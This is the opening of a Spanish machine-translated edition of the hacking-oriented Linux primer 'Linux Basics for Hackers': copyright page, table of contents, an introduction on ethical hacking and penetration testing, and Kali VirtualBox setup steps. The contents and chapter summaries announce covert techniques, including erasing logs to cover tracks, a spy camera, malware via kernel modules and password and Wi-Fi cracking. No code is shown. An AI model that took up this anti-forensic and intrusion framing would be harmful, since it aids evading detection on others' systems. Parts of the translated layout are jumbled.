Está en la página 1de 308

Machine Translated by Google

Machine Translated by Google

FUNDAMENTOS DE LINUX PARA HACKERS

Primeros pasos con redes, secuencias de comandos y


Seguridad en Kali

por OccupyTheWeb

San Francisco
Machine Translated by Google

FUNDAMENTOS DE LINUX PARA HACKERS. Derechos de autor © 2019 por OccupyTheWeb.

Todos los derechos reservados. Ninguna parte de este trabajo puede reproducirse o transmitirse de ninguna forma
o por ningún medio, electrónico o mecánico, incluidas las fotocopias, las grabaciones o cualquier sistema de
almacenamiento o recuperación de información, sin el permiso previo por escrito del propietario de los derechos de
autor y el editor.

ISBN-10: 1-59327-855-1
ISBN-13: 978-1-59327-855-7

Editor: William Pollock


Editores de producción: Serena Yang y Meg Sneeringer Ilustración
de portada: Josh Ellingson Diseño de interiores: Octopod Studios
Editor de desarrollo: Liz Chadwick Revisor técnico: Cliff Janzen
Corrector de estilo: Barton D. Reed Compositores: Serena Yang y
Meg Sneeringer Corrector: Paula L. Fleming Indexador: JoAnne
Burek

Para obtener información sobre distribución, traducciones o ventas al por mayor, comuníquese directamente con No
Starch Press, Inc.: No Starch Press, Inc. 245 8th Street, San Francisco, CA 94103 Teléfono: 1.415.863.9900;
info@nostarch.com www.nostarch.com

Datos de catalogación en publicación de la Biblioteca del Congreso

Nombres: OccupyTheWeb, autor.


Título: Conceptos básicos de Linux para piratas informáticos: introducción a las redes, secuencias de
comandos y seguridad en Kali / OccupyTheWeb.
Descripción: Primera edición. | San Francisco: No Starch Press, Inc., [2018].
Identificadores: LCCN 2018030544 (imprimir) | LCCN 2018032646 (libro electrónico) | ISBN
9781593278564 (epub) | ISBN 159327856X (epub) | ISBN 9781593278557 (impreso)
| ISBN 1593278551 (impresión) | ISBN 9781593278564 (libro electrónico) | ISBN 159327856X (libro
electrónico)
Temas: LCSH: Pruebas de penetración (Seguridad informática) | KaliLinux. |
piratas informáticos | Sistemas operativos (Computadoras)
Clasificación: LCC QA76.9.A25 (ebook) | LCC QA76.9.A25 O325 2018 (impresión) | DDC 005.8--dc23
Registro LC disponible en https://lccn.loc.gov/2018030544

No Starch Press y el logotipo de No Starch Press son marcas comerciales registradas de No Starch Press, Inc.
Otros nombres de productos y empresas mencionados aquí pueden ser marcas comerciales de sus respectivos
propietarios. En lugar de utilizar un símbolo de marca registrada con cada aparición de una marca registrada
Machine Translated by Google

nombre, estamos usando los nombres solo de manera editorial y en beneficio del propietario de la
marca registrada, sin intención de infringir la marca registrada.

La información de este libro se distribuye "tal cual", sin garantía. Si bien se han tomado todas las
precauciones en la preparación de este trabajo, ni el autor ni No Starch Press, Inc. tendrán
responsabilidad alguna ante ninguna persona o entidad con respecto a cualquier pérdida o daño
causado o presuntamente causado directa o indirectamente por el información contenida en el mismo.
Machine Translated by Google

Dedico este libro a mis tres increíbles hijas.


Para mi significas el mundo.
Machine Translated by Google

Sobre el Autor
OccupyTheWeb (OTW) es el seudónimo del fundador y escritor principal del
sitio web de capacitación de hackers y pentester, https://www.hackers
rise.com/. Es un ex profesor universitario y tiene más de 20 años de
experiencia en la industria de la tecnología de la información. Ha entrenado
a piratas informáticos en los EE. UU., incluidas las ramas del ejército de los
EE. UU. (Ejército, Fuerza Aérea y Armada) y la comunidad de inteligencia
de los EE. UU. (CIA, NSA y DNI). También es un ávido ciclista de montaña y snowboard.
Machine Translated by Google

Acerca del revisor técnico


Desde los primeros días de Commodore PET y VIC-20, la tecnología ha sido
un compañero constante (¡ya veces una obsesión!) para Cliff Janzen. Cliff
descubrió su pasión profesional cuando pasó a la seguridad de la información
en 2008 después de una década de operaciones de TI. Desde entonces, Cliff
ha tenido la gran fortuna de trabajar y aprender de algunas de las mejores
personas de la industria, incluidas OccupyTheWeb y la excelente gente de
No Starch durante la producción de este libro. Está felizmente empleado
como consultor de seguridad, haciendo de todo, desde revisión de políticas
hasta pruebas de penetración. Se siente afortunado de tener una carrera que
también es su pasatiempo favorito y una esposa que lo apoya.
Machine Translated by Google

CONTENIDOS BREVES

Expresiones de gratitud

Introducción

Capítulo 1: Primeros pasos con los conceptos básicos

Capítulo 2: Manipulación de texto

Capítulo 3: Análisis y gestión de redes

Capítulo 4: Adición y eliminación de software

Capítulo 5: Control de permisos de archivos y directorios

Capítulo 6: Gestión de procesos

Capítulo 7: Gestión de variables de entorno de usuario

Capítulo 8: Script Bash

Capítulo 9: Comprimir y archivar

Capítulo 10: Sistema de archivos y administración de dispositivos de almacenamiento

Capítulo 11: El sistema de registro

Capítulo 12: Uso y abuso de los servicios

Capítulo 13: Volverse seguro y anónimo

Capítulo 14: Comprensión e inspección de redes inalámbricas

Capítulo 15: Administrar el kernel de Linux y los módulos del kernel cargables

Capítulo 16: Automatización de tareas con programación de trabajos

Capítulo 17: Conceptos básicos de secuencias de comandos de Python para piratas informáticos

Índice
Machine Translated by Google

CONTENIDOS EN DETALLE

EXPRESIONES DE GRATITUD

INTRODUCCIÓN
Contenido de este libro

¿Qué es el hacking ético?


Pruebas de penetración
Militar y espionaje Por qué
los piratas informáticos usan Linux
Linux es de código abierto
Linux es transparente Linux
ofrece control granular La mayoría de

las herramientas de piratería informática están


escritas para Linux El futuro pertenece a Linux/Unix
Descarga de máquinas virtuales Kali Linux Instalación de
VirtualBox Configuración de su máquina virtual Instalación de

Kali en el Máquina virtual configurando Kali

1
COMENZANDO CON LO BÁSICO

Términos y conceptos introductorios


Un recorrido por Kali
La terminal

El sistema de archivos de Linux


Comandos básicos en Linux

Encontrarse a sí mismo con pwd


Comprobación de su inicio de sesión con whoami
Machine Translated by Google

Navegar por el sistema de archivos de


Linux Obtener ayuda Referenciar las
páginas del manual con man Encontrar cosas
Buscar con localizar Encontrar binarios con whereis
Encontrar binarios en la variable PATH con
la cual Realizar búsquedas más potentes con
find Filtrar con grep Modificar archivos y directorios Crear
archivos Crear un directorio Copiar un archivo Cambiar el
nombre un archivo Eliminación de un archivo Eliminación de
un directorio ¡Juega ahora!

Ejercicios

2
MANIPULACIÓN DE TEXTO

Ver archivos
tomando la cabeza
Agarrando esa cola
Numeración de las líneas
Filtrado de texto con grep
Hacker Challenge: usar grep, nl, tail y head
Usando sed para buscar y reemplazar
Visualización de archivos con más y menos
Controlar la pantalla con más
Mostrar y filtrar con menos
Resumen
Ejercicios
Machine Translated by Google

3
ANÁLISIS Y GESTIÓN DE REDES

Analizando redes con ifconfig


Comprobación de dispositivos de red inalámbrica con iwconfig
Cambiar la información de su red
Cambiar su dirección IP
Cambiar su máscara de red y dirección de transmisión
Falsificación de su dirección MAC
Asignación de nuevas direcciones IP desde el servidor DHCP
Manipulación del sistema de nombres de dominio
Examinando DNS con dig
Cambiar su servidor DNS
Mapeo de sus propias direcciones IP
Resumen
Ejercicios

4
AGREGAR Y ELIMINAR SOFTWARE

Uso de apt para manejar el software


Buscando un paquete
Adición de software
Eliminación de software
Actualización de paquetes
Actualización de paquetes
Adición de repositorios a su archivo sources.list
mediante un instalador basado en GUI Instalación de
software con ejercicios resumidos de git

5
CONTROL DE PERMISOS DE ARCHIVOS Y DIRECTORIOS

Diferentes tipos de usuarios


Machine Translated by Google

Concesión de permisos
Concesión de propiedad a un usuario individual
Concesión de propiedad a un grupo
Comprobación de permisos
Cambio de permisos
Cambio de permisos con notación decimal
Cambio de permisos con UGO
Dar permiso de ejecución de raíz en una nueva herramienta
Configuración de permisos predeterminados más seguros con máscaras
Permisos especiales
Concesión de permisos raíz temporales con SUID
Concesión de permisos de grupo del usuario raíz SGID
El pedacito pegajoso pasado de moda
Permisos especiales, escalada de privilegios y el hacker
Resumen
Ejercicios

6
GESTIÓN DE PROCESO

Visualización de procesos
Filtrado por nombre de proceso
Encontrar los procesos más codiciosos con top
Gestión de procesos
Cambiar la prioridad del proceso con nice
Procesos de matanza
Ejecutar procesos en segundo plano
Mover un proceso al primer plano
Procesos de programación
Resumen
Ejercicios

7
GESTIÓN DE LAS VARIABLES DEL ENTORNO DEL USUARIO
Machine Translated by Google

Visualización y modificación de variables de entorno


Visualización de todas las variables de entorno
Filtrado por variables particulares
Cambio de valores de variables para una sesión
Cómo hacer que los cambios de valor de variable sean permanentes

Cambiar el indicador de Shell


Cambiando tu RUTA
Agregar a la variable PATH
Cómo no agregar a la variable PATH
Creación de una variable definida por el usuario
Resumen
Ejercicios

8
BASH SCRIPTING
Un curso intensivo en Bash

Your First Script: "¡Hola, hackers, levántense!"


Configuración de permisos de
ejecución Ejecución de
HelloHackersArise Adición de funcionalidad con variables y entrada de usuario
Tu primer script de hacker: buscar puertos abiertos
Nuestra tarea

Un escáner simple
Mejorando el escáner MySQL
Comandos bash incorporados comunes
Resumen
Ejercicios

9
COMPRIMIR Y ARCHIVAR

¿Qué es la compresión?
Tarear archivos juntos
Comprimir archivos
Machine Translated by Google

Comprimir con gzip


Comprimir con bzip2
Comprimir con compresa
Creación de copias físicas o bit a bit de dispositivos de almacenamiento
Resumen
Ejercicios

10
ADMINISTRACIÓN DE SISTEMAS DE ARCHIVOS Y DISPOSITIVOS DE ALMACENAMIENTO

El directorio de dispositivos /dev


Cómo representa Linux los dispositivos de almacenamiento
Particiones de disco
Dispositivos de caracteres y bloques
Lista de dispositivos e información de bloques con lsblk
Montaje y Desmontaje
Montaje de dispositivos de almacenamiento usted mismo

Desmontar con umount


Supervisión de sistemas de archivos

Obtener información sobre discos montados


Comprobación de errores
Resumen
Ejercicios

11
EL SISTEMA DE REGISTRO

El demonio de registro rsyslog


El archivo de configuración rsyslog
Las reglas de registro de rsyslog
Limpieza automática de registros con logrotate
permanecer sigiloso
Eliminación de pruebas
Deshabilitar registro
Resumen
Machine Translated by Google

Ejercicios

12
USO Y ABUSO DE SERVICIOS

Iniciar, detener y reiniciar servicios Crear un


servidor web HTTP con el servidor web Apache Comenzar con Apache
Editar el archivo index.html Agregar algo de HTML Ver lo que
sucede OpenSSH y Raspberry Spy Pi Configurar Raspberry
Pi Construir Raspberry Spy Pi Configurar el Cámara
Comenzar a espiar Extraer información de MySQL Iniciar
MySQL Interactuar con MySQL Establecer una contraseña de MySQL
Acceder a una base de datos remota Conectarse a una base
de datos Tablas de bases de datos Examinar los datos
Ejercicios de resumen de PostgreSQL con Metasploit

13
SER SEGURO Y ANÓNIMO

Cómo Internet nos delata


El sistema de enrutador de cebolla
Cómo funciona Tor
Preocupaciones de seguridad
Machine Translated by Google

Servidores proxy
Configuración de proxies en el archivo de configuración

Algunas opciones más interesantes


Preocupaciones de seguridad
Redes Privadas Virtuales

Correo electrónico encriptado

Resumen
Ejercicios

14
COMPRENSIÓN E INSPECCIÓN INALÁMBRICA
REDES
redes wifi
Comandos inalámbricos básicos

Reconocimiento de Wi-Fi con aircrack-ng


Detección y conexión a Bluetooth
Cómo funciona Bluetooth

Escaneo y reconocimiento de Bluetooth


Resumen
Ejercicios

15
GESTIÓN DEL KERNEL DE LINUX Y CARGABLE
MÓDULOS DEL NÚCLEO
¿Qué es un módulo del kernel?

Comprobación de la versión del


núcleo Ajuste del núcleo con sysctl
Gestión de módulos del núcleo
Búsqueda de más información con modinfo
Adición y eliminación de módulos con modprobe Inserción
y eliminación de un módulo del núcleo Ejercicios resumidos
Machine Translated by Google

dieciséis

AUTOMATIZACIÓN DE TAREAS CON PROGRAMACIÓN DE TRABAJOS

Programación de un evento o trabajo para que se ejecute de forma automática


Programación de una tarea de copia de seguridad

Uso de crontab para programar los accesos directos de


mysqlscanner crontab

Uso de secuencias de comandos rc para ejecutar tareas


en los niveles de ejecución de Linux de inicio

Adición de servicios a rc.d Adición de

servicios a su arranque a través de una GUI Resumen de

ejercicios

17
CONCEPTOS BÁSICOS DE SCRIPTING DE PYTHON PARA HACKERS

Adición de módulos de Python


usando pip
Instalación de módulos de terceros
Introducción a la creación de scripts con Python
Variables
Comentarios
Funciones
Liza
Módulos

Programación Orientada a Objetos (POO)


Comunicaciones de red en Python
Creación de un cliente TCP
Creación de un escucha TCP
Diccionarios, bucles y sentencias de control
Diccionarios
Declaraciones de control

Bucles
Mejorando nuestros scripts de piratería
Machine Translated by Google

Excepciones y descifradores de contraseñas


Resumen
Ejercicios

ÍNDICE
Machine Translated by Google

EXPRESIONES DE GRATITUD

Este libro no podría haberse escrito sin la colaboración de varias personas


clave.
Primero, quiero agradecer y reconocer a Liz Chadwick por proponer este
libro y ser la editora principal de su contenido. Su persistencia y dedicación
han hecho posible este libro.
En segundo lugar, quiero reconocer a Bill Pollock, editor de No Starch
Prensa, por creer y respaldar este libro.
En tercer lugar, quiero reconocer los diligentes esfuerzos de mi revisor
técnico, Cliff Janzen, por asegurarse de que el contenido técnico de este libro
sea exacto.
Cualquier error u omisión restante es únicamente mi culpa.
Finalmente, quiero agradecer y reconocer a todos los profesionales
dedicados de No Starch Press por sus esfuerzos para completar el libro y
comercializarlo. Gracias.
Machine Translated by Google

INTRODUCCIÓN

¡Hackear es el conjunto de habilidades más importante del siglo XXI! No hago esa
afirmación a la ligera. Los acontecimientos de los últimos años parecen reafirmar
esta afirmación con el titular de cada mañana. Las naciones se espían unas a otras
para obtener secretos, los delincuentes cibernéticos roban miles de millones de
dólares, se liberan gusanos digitales que exigen rescates, los adversarios influyen
en las elecciones de los demás y los combatientes se quitan los servicios públicos.
Todos estos son obra de piratas informáticos, y su influencia en nuestro mundo
cada vez más digital apenas comienza a sentirse.
Decidí escribir este libro después de trabajar con decenas de miles de aspirantes
a piratas informáticos a través de Null-Byte, https://www.hackers-arise.com/, y casi
todas las ramas de las agencias militares y de inteligencia de EE. UU. (NSA, DIA,
CIA y FBI). Estas experiencias me han enseñado que muchos aspirantes a piratas
informáticos han tenido poca o ninguna experiencia con Linux, y esta falta de
experiencia es la principal barrera para comenzar el viaje y convertirse en piratas
informáticos profesionales. Casi todas las mejores herramientas para hackers están
escritas en Linux, por lo que algunas habilidades básicas de Linux son un requisito
previo para convertirse en un hacker profesional. He escrito este libro para ayudar
a los aspirantes a hackers a superar esta barrera.
La piratería es una profesión de élite dentro del campo de TI. Como tal, requiere
una comprensión amplia y detallada de los conceptos y tecnologías de TI. En el
nivel más fundamental, Linux es un requisito. Le sugiero enfáticamente que invierta
tiempo y energía en usar y
Machine Translated by Google

entenderlo si desea hacer de la piratería informática y la seguridad de la


información su carrera.
Este libro no está destinado al hacker experimentado ni al administrador de
Linux experimentado. En cambio, está destinado a aquellos que desean iniciarse
en el emocionante camino de la piratería informática, la ciberseguridad y las
pruebas de penetración. Tampoco pretende ser un tratado completo sobre Linux
o piratería, sino más bien un punto de partida en estos mundos. Comienza con lo
esencial de Linux y se extiende a algunas secuencias de comandos básicas tanto
en bash como en Python. Donde sea apropiado, he tratado de usar ejemplos del
mundo de la piratería para enseñar los principios de Linux.
En esta introducción, veremos el crecimiento de la piratería ética para la
seguridad de la información y lo guiaré a través del proceso de instalación de una
máquina virtual para que pueda instalar Kali Linux en su sistema sin alterar el
sistema operativo que ya está ejecutando. .

¿Qué hay en este libro?


En el primer grupo de capítulos se familiarizará con los fundamentos de Linux; El
Capítulo 1 lo familiarizará con el sistema de archivos y la terminal, y le brindará
algunos comandos básicos. El Capítulo 2 le muestra cómo manipular texto para
buscar, examinar y modificar software y archivos.
En el Capítulo 3, administrará las redes. Buscará redes, encontrará información
sobre conexiones y se disfrazará enmascarando su red y la información de DNS.

El Capítulo 4 le enseña a agregar, eliminar y actualizar software, y cómo


mantener su sistema optimizado. En el Capítulo 5, manipulará los permisos de
archivos y directorios para controlar quién puede acceder a qué. También
aprenderá algunas técnicas de escalada de privilegios.
El Capítulo 6 le enseña cómo administrar servicios, incluido el inicio y la
detención de procesos y la asignación de recursos para brindarle un mayor control.
En el Capítulo 7, administrará las variables de entorno para lograr un rendimiento,
una comodidad e incluso un sigilo óptimos. Encontrará y filtrará variables, cambiará
su variable PATH y creará nuevas variables de entorno.
Machine Translated by Google

El Capítulo 8 es una introducción a bash scripting, un elemento básico para cualquier


hacker serio. Aprenderá los conceptos básicos de bash y creará un script para buscar
puertos de destino que luego podría infiltrar.
Los capítulos 9 y 10 le brindan algunas habilidades esenciales de administración del
sistema de archivos, mostrándole cómo comprimir y archivar archivos para mantener su
sistema limpio, copiar dispositivos de almacenamiento completos y obtener información
sobre archivos y discos conectados.

Los últimos capítulos profundizan en los temas de piratería. En el Capítulo 11, usará y
manipulará el sistema de registro para obtener información sobre la actividad de un objetivo
y cubrir su propio rastro. El Capítulo 12 le muestra cómo usar y abusar de tres servicios
básicos de Linux: el servidor web Apache, OpenSSH y MySQL. Creará un servidor web,
construirá un espía de video remoto y aprenderá sobre las bases de datos y sus
vulnerabilidades. El Capítulo 13 le mostrará cómo mantenerse seguro y anónimo con
servidores proxy, la red Tor, las VPN y el correo electrónico encriptado.

El capítulo 14 trata de las redes inalámbricas. Aprenderá los comandos básicos de red,
luego descifrará los puntos de acceso Wi-Fi y detectará y se conectará a las señales de
Bluetooth.
El Capítulo 15 profundiza en el propio Linux con una visión de alto nivel de cómo
funciona el kernel y cómo se puede abusar de sus controladores para entregar software
malicioso. En el Capítulo 16, aprenderá habilidades de programación esenciales para
automatizar sus scripts de piratería. El Capítulo 17 le enseñará los conceptos básicos de
Python, y escribirá dos herramientas de piratería: un escáner para espiar las conexiones
TCP/IP y un descifrador de contraseñas simple.

¿Qué es el hacking ético?


Con el crecimiento del campo de la seguridad de la información en los últimos años, se ha
producido un crecimiento espectacular en el campo de la piratería ética, también conocida
como piratería de sombrero blanco (chico bueno). La piratería ética es la práctica de intentar
infiltrarse y explotar un sistema para descubrir sus debilidades y protegerlo mejor. Segmento
el campo de la piratería ética en dos componentes principales: pruebas de penetración para
una empresa legítima de seguridad de la información y trabajo para las fuerzas armadas o
militares de su país.
Machine Translated by Google

agencias de inteligencia. Ambas son áreas de rápido crecimiento y la demanda es


fuerte.

Pruebas de penetración A

medida que las organizaciones se vuelven cada vez más conscientes de la seguridad y
el costo de las infracciones de seguridad aumenta exponencialmente, muchas
organizaciones grandes comienzan a contratar servicios de seguridad. Uno de estos
servicios clave de seguridad son las pruebas de penetración. Una prueba de penetración
es esencialmente un truco legal encargado para demostrar la vulnerabilidad de la red y
los sistemas de una empresa.
Generalmente, las organizaciones primero realizan una evaluación de
vulnerabilidades para encontrar posibles vulnerabilidades en su red, sistemas
operativos y servicios. Hago hincapié en el potencial, ya que este análisis de
vulnerabilidades incluye una cantidad significativa de falsos positivos (cosas
identificadas como vulnerabilidades que en realidad no lo son). El papel del probador
de penetración es intentar piratear o penetrar estas vulnerabilidades. Solo entonces
la organización puede saber si la vulnerabilidad es real y decidir invertir tiempo y
dinero para cerrar la vulnerabilidad.

Militar y Espionaje
Casi todas las naciones del mundo ahora se involucran en el espionaje cibernético y
la guerra cibernética. Uno solo necesita escanear los titulares para ver que las
actividades cibernéticas son el método elegido para espiar y atacar sistemas militares
e industriales.
La piratería juega un papel crucial en estas actividades militares y de recopilación
de inteligencia, y eso solo será más cierto a medida que pase el tiempo.
Imagine una guerra del futuro en la que los piratas informáticos puedan obtener
acceso a los planes de guerra de su adversario y derribar su red eléctrica, refinerías
de petróleo y sistemas de agua. Estas actividades se llevan a cabo todos los días
ahora. El hacker se convierte así en un componente clave de la defensa de su nación.

Por qué los piratas informáticos usan Linux


Machine Translated by Google

Entonces, ¿por qué los piratas informáticos usan Linux sobre otros sistemas operativos?
Principalmente porque Linux ofrece un nivel de control mucho más alto a través de algunos
métodos diferentes.

Linux es de código abierto A

diferencia de Windows, Linux es de código abierto, lo que significa que el


código fuente del sistema operativo está disponible para usted. Como tal,
puede cambiarlo y manipularlo como desee. Si está tratando de hacer que un
sistema funcione de una manera que no fue diseñada, es esencial poder
manipular el código fuente.

Linux es transparente

Para hackear de manera efectiva, debe conocer y comprender su sistema operativo y, en gran
medida, el sistema operativo que está atacando.
Linux es totalmente transparente, lo que significa que podemos ver y manipular todas sus
partes de trabajo.
No es así con Windows. Microsoft hace todo lo posible para que sea lo más difícil posible

conocer el funcionamiento interno de sus sistemas operativos, por lo que nunca se sabe
realmente lo que sucede "debajo del capó", mientras que en Linux, tiene un foco de atención
que brilla directamente en todos y cada uno de los componentes de El sistema operativo. Esto
hace que trabajar con Linux sea más efectivo.

Linux ofrece control granular

Linux es granular. Eso significa que tienes una cantidad casi infinita de control sobre el
sistema. En Windows, solo puede controlar lo que Microsoft le permite controlar. En Linux,
todo puede ser controlado por la terminal, al nivel más minúsculo o al nivel más macro.
Además, Linux hace que las secuencias de comandos en cualquiera de los lenguajes de
secuencias de comandos sean simples y efectivas.

La mayoría de las herramientas de piratería están escritas para Linux


Machine Translated by Google

Más del 90 por ciento de todas las herramientas de piratería están escritas para Linux. Hay
excepciones, por supuesto, como Caín, Abel y Wikto, pero esas excepciones confirman la
regla. Incluso cuando las herramientas de piratería como Metasploit o nmap se transfieren
a Windows, no todas las capacidades se transfieren desde Linux.

El futuro pertenece a Linux/Unix Esto puede

parecer una declaración radical, pero creo firmemente que el futuro de la


tecnología de la información pertenece a los sistemas Linux y Unix.
Microsoft tuvo su día en las décadas de 1980 y 1990, pero su crecimiento se está
desacelerando y estancando.
Desde que comenzó Internet, Linux/Unix ha sido el sistema operativo elegido para los
servidores web debido a su estabilidad, confiabilidad y solidez.
Incluso hoy, Linux/Unix se usa en dos tercios de los servidores web y domina el mercado.
Los sistemas integrados en enrutadores, conmutadores y otros dispositivos casi siempre
usan un kernel de Linux, y el mundo de la virtualización está dominado por Linux, con
VMware y Citrix construidos sobre el kernel de Linux.

Más del 80 por ciento de los dispositivos móviles ejecutan Unix o Linux (iOS es Unix y
Android es Linux), por lo que si cree que el futuro de la informática está en los dispositivos
móviles como tabletas y teléfonos (sería difícil argumentar lo contrario), entonces el futuro
es Unix/Linux. Microsoft Windows tiene solo el 7 por ciento del mercado de dispositivos
móviles. ¿Es ese el vagón al que quieres que te enganchen?

Descarga de Kali Linux Antes de

comenzar, debe descargar e instalar Kali Linux en su computadora. Esta


es la distribución de Linux con la que trabajaremos a lo largo de este libro.
Linux fue desarrollado por primera vez por Linus Torvalds en 1991 como
una alternativa de código abierto a Unix. Dado que es de código abierto,
los desarrolladores voluntarios codifican el kernel, las utilidades y las aplicaciones.
Esto significa que no existe una entidad corporativa superior que supervise
Machine Translated by Google

desarrollo y, como resultado, a menudo faltan convenciones y estandarización.

Kali Linux fue desarrollado por Offensive Security como un sistema operativo de
piratería basado en una distribución de Linux llamada Debian. Existen muchas
distribuciones de Linux, y Debian es una de las mejores. Probablemente esté más
familiarizado con Ubuntu como una popular distribución de escritorio de Linux. Ubuntu
también se basa en Debian. Otras distribuciones incluyen Red Hat, CentOS, Mint, Arch
y SUSE. Aunque todos comparten el mismo kernel de Linux (el corazón del sistema
operativo que controla la CPU, la RAM, etc.), cada uno tiene sus propias utilidades,
aplicaciones y elección de interfaz gráfica (GNOME, KDE y otros) para diferentes
propósitos
Como resultado, cada una de estas distribuciones de Linux se ve y se siente ligeramente
diferente. Kali fue diseñado para probadores de penetración y piratas informáticos y
viene con un importante complemento de herramientas de piratería.
Le recomiendo encarecidamente que utilice Kali para este libro. Aunque puede usar
otra distribución, probablemente tendrá que descargar e instalar las diversas
herramientas que usaremos, lo que podría significar muchas horas descargando e
instalando herramientas. Además, si esa distribución no se basa en Debian, puede
haber otras diferencias menores. Puede descargar e instalar Kali desde https://
www.kali.org/.
En la página de inicio, haga clic en el enlace Descargas en la parte superior de la
página. En la página Descargas, se enfrentará a varias opciones de descarga. Es
importante elegir la descarga correcta. A lo largo del lado izquierdo de la tabla, verá el
nombre de la imagen, que es el nombre de la versión que descarga el enlace. Por
ejemplo, la primera lista de nombres de imágenes que veo es Kali Linux 64 Bit, lo que
significa que es el Kali Linux completo y es adecuado para sistemas de 64 bits; la
mayoría de los sistemas modernos usan una CPU Intel o AMD de 64 bits. Para
determinar qué tipo de CPU hay en su sistema, vaya a Panel de control ÿ Sistema y
seguridad ÿ Sistema, y debería aparecer en la lista. Si su sistema es de 64 bits,
descargue e instale la versión de 64 bits del Kali completo (no Light o Lxde, o cualquiera
de las otras alternativas).
Si está ejecutando una computadora más antigua con una CPU de 32 bits,
necesita instalar la versión de 32 bits, que aparece más abajo en la página.
Tiene la opción de descargar a través de HTTP o Torrent. Si elige HTTP, Kali se
descargará directamente a su sistema como cualquier
Machine Translated by Google

descargar y se colocará en la carpeta Descargas. La descarga de torrent es la


descarga punto a punto utilizada por muchos sitios para compartir archivos.
Necesitará una aplicación de torrents como BitTorrent para hacer esto. El archivo
Kali luego se descargará en la carpeta en la que la aplicación de torrents almacena
sus descargas.
Existen otras versiones para otros tipos de CPU, como la arquitectura ARM de
uso común que se encuentra en tantos dispositivos móviles. Si está utilizando una
Raspberry Pi, una tableta u otro dispositivo móvil (los usuarios de teléfonos
probablemente prefieran Kali NetHunter), asegúrese de descargar e instalar la
versión de arquitectura ARM de Kali desplazándose hacia abajo para Descargar
imágenes ARM y haciendo clic en Imágenes Kali ARM.
Tienes Kali descargado, pero antes de instalar nada, quiero hablar un poco
sobre las máquinas virtuales. Generalmente, para el principiante, instalar Kali en
una máquina virtual es la mejor solución para aprender y practicar.

Maquinas virtuales
La tecnología de máquina virtual (VM) le permite ejecutar múltiples sistemas
operativos desde una pieza de hardware como su computadora portátil o de
escritorio. Esto significa que puede continuar ejecutando el sistema operativo
Windows o MacOS con el que está familiarizado y ejecutar una máquina virtual de
Kali Linux dentro de ese sistema operativo. No necesita sobrescribir su sistema
operativo existente para aprender Linux.
Numerosas aplicaciones de máquinas virtuales están disponibles de VMware,
Oracle, Microsoft y otros proveedores. Todos son excelentes, pero aquí les
mostraré cómo descargar e instalar el VirtualBox gratuito de Oracle.

Instalación de VirtualBox Puede

descargar VirtualBox en https://www.virtualbox.org/, como se muestra en la Figura


1. Haga clic en el enlace Descargas en el menú de la izquierda y seleccione el
paquete de VirtualBox para el sistema operativo actual de su computadora, que
albergará VirtualBox VM . Asegúrate de descargar la última versión.
Machine Translated by Google

Figura 1: página de inicio de VirtualBox

Cuando se haya completado la descarga, haga clic en el archivo de instalación y


será recibido por un Asistente de configuración familiar, que se muestra en la Figura 2.

Figura 2: El cuadro de diálogo Asistente de configuración

Haga clic en Siguiente y debería recibir la pantalla Configuración personalizada, como se muestra en la
Figura 3.
Machine Translated by Google

Figura 3: El cuadro de diálogo Configuración personalizada

Desde esta pantalla, simplemente haga clic en Siguiente. Siga haciendo clic en Siguiente hasta que
acceda a la pantalla de advertencia de Interfaces de red y luego haga clic en Sí.

Haga clic en Instalar para comenzar el proceso. Durante este proceso, es probable que se le
pregunte varias veces sobre la instalación del software del dispositivo. Estos son los dispositivos de red
virtual necesarios para que sus máquinas virtuales se comuniquen. Haga clic en Instalar para cada uno.

Cuando se complete la instalación, haga clic en Finalizar.

Configuración de su máquina virtual


Ahora comencemos con su máquina virtual. VirtualBox debería abrirse una vez que se haya instalado,
si no, ábralo, y VirtualBox Manager debería saludarlo, como se ve en la Figura 4.
Machine Translated by Google

Figura 4: El administrador de VirtualBox

Dado que crearemos una nueva máquina virtual con Kali Linux, haga clic en
Nuevo en la esquina superior izquierda. Esto abre el cuadro de diálogo Crear
máquina virtual que se muestra en la Figura 5.
Asigne un nombre a su máquina (cualquier nombre está bien, pero simplemente
usé Kali) y luego seleccione Linux en el menú desplegable Tipo. Finalmente,
seleccione Debian (64 bits) del tercer menú desplegable (a menos que esté
usando la versión de 32 bits de Kali, en cuyo caso seleccione la versión de Debian
de 32 bits). Haga clic en Siguiente y verá una pantalla como la de la Figura 6.
Aquí, debe seleccionar la cantidad de RAM que desea asignar a esta nueva
máquina virtual.
Machine Translated by Google

Figura 5: El cuadro de diálogo Crear máquina virtual

Figura 6: Asignación de memoria

Como regla general, no recomiendo usar más del 25 por


ciento de la memoria RAM total del sistema. Eso significa que si
ha instalado 4 GB en su sistema físico o host, seleccione solo 1
GB para su máquina virtual, y si tiene 16 GB en su sistema físico,
seleccione 4 GB. Cuanta más RAM le dé a su máquina virtual, mejor y
Machine Translated by Google

más rápido se ejecutará, pero también debe dejar suficiente RAM para su
sistema operativo host y cualquier otra máquina virtual que desee ejecutar
simultáneamente. Sus máquinas virtuales no usarán RAM cuando no las esté
usando, pero usarán espacio en el disco duro.
Haga clic en Siguiente y accederá a la pantalla Disco duro. Elija Crear disco
duro virtual y haga clic en Crear.
En la siguiente pantalla, puede decidir si desea que el disco duro que está
creando se asigne dinámicamente o con un tamaño fijo. Si elige Asignación
dinámica, el sistema no tomará todo el tamaño máximo que asigne para el
disco duro virtual hasta que lo necesite, lo que ahorrará más espacio en el disco
duro no utilizado para su sistema host. Le sugiero que seleccione asignado
dinámicamente.
Haga clic en Siguiente y elegirá la cantidad de espacio en el disco duro para
asigne a la máquina virtual y la ubicación de la máquina virtual (consulte la figura 7).

Figura 7: Asignación de espacio en el disco duro

El valor predeterminado es 8 GB. Por lo general, encuentro que es un poco


pequeño y recomiendo que asigne 20-25 GB como mínimo. Recuerde, si elige
asignar dinámicamente espacio en el disco duro, no usará el
Machine Translated by Google

espacio hasta que lo necesite, y expandir su disco duro después de que ya se haya asignado
puede ser complicado, por lo que es mejor errar por el lado alto.
Haga clic en Crear y ¡ya está listo para empezar!

Instalación de Kali en la VM En este punto,

debería ver una pantalla como la Figura 8. Ahora deberá instalar Kali. Tenga en cuenta que a
la izquierda de VirtualBox Manager, debería ver una indicación de que Kali VM está apagada.
Haga clic en el botón Inicio (icono de flecha verde).

Figura 8: La pantalla de bienvenida de VirtualBox

El Administrador de VirtualBox le preguntará dónde encontrar el disco de inicio.


Ya descargó una imagen de disco con la extensión .iso, que debe estar en su carpeta de
descargas (si usó un torrent para descargar Kali, el archivo .iso estará en la carpeta de
descargas de su torrenting).
Machine Translated by Google

solicitud). Haga clic en el icono de la carpeta a la derecha, navegue hasta la carpeta Descargas
